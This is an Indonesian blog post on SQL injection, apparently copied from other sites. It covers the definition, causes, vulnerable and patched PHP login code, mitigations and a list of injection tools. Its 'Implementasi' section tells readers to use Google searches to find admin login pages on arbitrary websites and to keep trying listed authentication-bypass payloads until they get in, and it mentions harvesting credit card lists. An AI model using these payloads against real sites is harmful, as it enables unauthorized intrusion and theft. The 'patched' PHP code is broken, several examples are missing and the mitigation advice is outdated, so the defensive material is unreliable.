SQL Injection

Pengertian SQL Injection

Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)

SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.

SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)

Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

 Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username
2) Query database awal :

Berubah menjadi :

Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :

Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’=’a
Password : ` or `a’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:

1. BSQL Hacker

Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base

2. The Mole

Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.

3. Pangolin

Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.

4. SQLMap

SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data base MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB

5. Havij

Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.

sumber : https://hendsmountenerings.wordpress.com/sql-injection/ http://www.binushacker.net/pengertian-tutorial-tools-sql-injection-cara-kumpulan-software-sql-injection.html

Print Friendly, PDF & Email

Leave a Reply

Your email address will not be published. Required fields are marked *